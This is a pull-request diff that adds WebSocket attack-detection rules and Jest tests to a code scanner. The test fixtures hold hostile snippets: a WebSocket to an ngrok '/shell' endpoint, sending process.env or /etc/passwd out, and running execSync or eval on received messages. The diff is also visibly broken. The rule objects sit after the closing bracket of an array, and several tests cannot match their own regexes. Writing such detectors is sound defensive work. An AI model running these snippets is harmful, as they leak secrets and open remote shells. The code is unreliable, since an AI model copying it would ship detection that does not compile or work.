Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
90 changes: 90 additions & 0 deletions scanner/src/__tests__/websocket.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,90 @@
/**
* Tests for WebSocket malicious pattern detection
* Issue #3: Scanner rule for malicious WebSocket handlers
*/

import { DANGEROUS_PATTERNS } from '../patterns';

// Get WebSocket patterns
const wsPatterns = DANGEROUS_PATTERNS.filter(p => p.category === 'websocket');

describe('WebSocket Detection Rules', () => {

// Test 1: Suspicious endpoint detection
test('WS_SUSPICIOUS_ENDPOINT: detects WebSocket to ngrok', () => {
const code = `const ws = new WebSocket('wss://abc123.ngrok.io/shell');`;
const pattern = wsPatterns.find(p => p.id === 'WS_SUSPICIOUS_ENDPOINT');
expect(pattern?.pattern.test(code)).toBe(true);
});

test('WS_SUSPICIOUS_ENDPOINT: detects dynamic WebSocket URL', () => {
const code = `const ws = new WebSocket(config.wsUrl);`;
const pattern = wsPatterns.find(p => p.id === 'WS_SUSPICIOUS_ENDPOINT');
pattern!.pattern.lastIndex = 0;
expect(pattern?.pattern.test(code)).toBe(true);
});

// Test 2: Data exfiltration detection
test('WS_DATA_EXFIL: detects env exfiltration via WebSocket', () => {
const code = `ws.send(JSON.stringify(process.env));`;
const pattern = wsPatterns.find(p => p.id === 'WS_DATA_EXFIL');
expect(pattern?.pattern.test(code)).toBe(true);
});

test('WS_DATA_EXFIL: detects base64 encoded data send', () => {
const code = `ws.send(Buffer.from(secretData).toString('base64'));`;
const pattern = wsPatterns.find(p => p.id === 'WS_DATA_EXFIL');
pattern!.pattern.lastIndex = 0;
expect(pattern?.pattern.test(code)).toBe(true);
});

// Test 3: Reverse shell detection
test('WS_REVERSE_SHELL: detects exec in WebSocket handler', () => {
const code = `
ws.on('message', (cmd) => {
const result = execSync(cmd);
ws.send(result);
});
`;
const pattern = wsPatterns.find(p => p.id === 'WS_REVERSE_SHELL');
expect(pattern?.pattern.test(code)).toBe(true);
});

// Test 4: C2 communication detection
test('WS_C2_PATTERN: detects eval in WebSocket message handler', () => {
const code = `
socket.onmessage = (event) => {
eval(event.data);
};
`;
const pattern = wsPatterns.find(p => p.id === 'WS_C2_PATTERN');
expect(pattern?.pattern.test(code)).toBe(true);
});

// Test 5: Bidirectional exfiltration
test('WS_BIDIRECTIONAL_EXFIL: detects file read + send pattern', () => {
const code = `
const data = fs.readFileSync('/etc/passwd');
ws.send(data);
`;
const pattern = wsPatterns.find(p => p.id === 'WS_BIDIRECTIONAL_EXFIL');
expect(pattern?.pattern.test(code)).toBe(true);
});

// Negative tests - should NOT match legitimate code
test('should not flag legitimate WebSocket usage', () => {
const legitimateCode = `
const ws = new WebSocket('wss://api.example.com/stream');
ws.onmessage = (event) => {
console.log(event.data);
updateUI(JSON.parse(event.data));
};
`;

const criticalPatterns = wsPatterns.filter(p => p.severity === 'critical');
criticalPatterns.forEach(pattern => {
pattern.pattern.lastIndex = 0;
expect(pattern.pattern.test(legitimateCode)).toBe(false);
});
});
});
42 changes: 42 additions & 0 deletions scanner/src/patterns.ts
Original file line number Diff line number Diff line change
Expand Up @@ -209,3 +209,45 @@ export const SAFE_DOMAINS = [
'registry.npmjs.org',
'pypi.org',
];

// === HIGH: WebSocket-based attacks (Issue #3) ===
{
id: 'WS_SUSPICIOUS_ENDPOINT',
name: 'WebSocket to Suspicious Endpoint',
description: 'WebSocket connection to suspicious or dynamic endpoints',
severity: 'high',
pattern: /new\s+WebSocket\s*\(\s*[^'"`\s]|new\s+WebSocket\s*\(\s*['"`](ws:\/\/|wss:\/\/)[^'"`]*(ngrok|pipedream|requestbin|webhook|\.onion|localhost:\d{4,5})/gi,
category: 'websocket'
},
{
id: 'WS_DATA_EXFIL',
name: 'WebSocket Data Exfiltration',
description: 'Sending sensitive data over WebSocket',
severity: 'high',
pattern: /\.send\s*\(\s*(JSON\.stringify\s*\(\s*process\.env|Buffer\.from|btoa\s*\(|\.toString\s*\(\s*['"`]base64['"`]\s*\))/gi,
category: 'websocket'
},
{
id: 'WS_REVERSE_SHELL',
name: 'WebSocket Reverse Shell',
description: 'Potential reverse shell via WebSocket',
severity: 'critical',
pattern: /WebSocket.*on\s*\(\s*['"`]message['"`].*\b(exec|spawn|execSync|child_process)\b|child_process.*WebSocket/gi,
category: 'websocket'
},
{
id: 'WS_C2_PATTERN',
name: 'WebSocket C2 Communication',
description: 'Command and control patterns over WebSocket',
severity: 'critical',
pattern: /WebSocket.*on\s*\(\s*['"`]message['"`].*\b(eval|Function)\s*\(|\.onmessage\s*=.*\b(eval|Function)\s*\(/gi,
category: 'websocket'
},
{
id: 'WS_BIDIRECTIONAL_EXFIL',
name: 'Bidirectional WebSocket Exfiltration',
description: 'Reading files/env and sending via WebSocket',
severity: 'high',
pattern: /(readFileSync|readFile|process\.env)[\s\S]{0,100}\.send\s*\(|\.send\s*\([\s\S]{0,100}(readFileSync|readFile|process\.env)/gi,
category: 'websocket'
},